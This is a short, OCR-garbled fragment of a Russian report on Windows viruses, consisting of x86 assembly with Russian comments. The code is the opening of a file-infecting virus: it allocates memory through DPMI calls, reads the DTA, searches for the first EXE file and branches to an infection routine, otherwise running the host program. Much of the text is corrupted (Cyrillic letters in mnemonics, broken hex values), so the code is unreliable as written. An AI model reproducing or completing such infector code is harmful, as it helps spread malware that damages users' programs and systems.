Доклад: Вирусы под Windows
push si ~^
push di
push bx
push ex
;Создадим дескриптор в таблице LDT
хог ах,ах
mov ex, 1
int 31 h
;B поле адреса полученного дескриптора
.установим адрес нужного блока памяти
mov bx,ax
mov ах,7
pop dx
pop ex
int •31h
;B поле предела полученного дескриптора
остановим размер выделенного блока памяти
mov ах,8
mov dx,OFFFFh
хог сх.сх
int 31h
;В поле прав доступа полученного дескриптора установим значение,
соответствующее сегменту данных, доступному для чтения и записи
mov ах,9
mov cl, 1111001 Ob
хог ch,ch
int 31h
;3агрузим селектор в регистр DS. После этого регистр DS будет
оказывать на выделенный блок памяти
mov ds.bx
.Читаем из стека и сохраняем в памяти
;индекс полученного блока памяти
pop [mem_hnd+2]
pop [mem_hnd]
Получим текущую DTA
mov ah,2Fh
int 21 h
mov [DTA],bx
mov [DTA+2],es
;Найдем первый ЕХЕ-файл (маска *.ЕХЕ)
mov ah,4Eh
xor ex,ex
mov dx,OFFSET wild_exe
push ds
push cs
pop ds
int 21 h
pop ds
;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу-носитель
jnc found_exe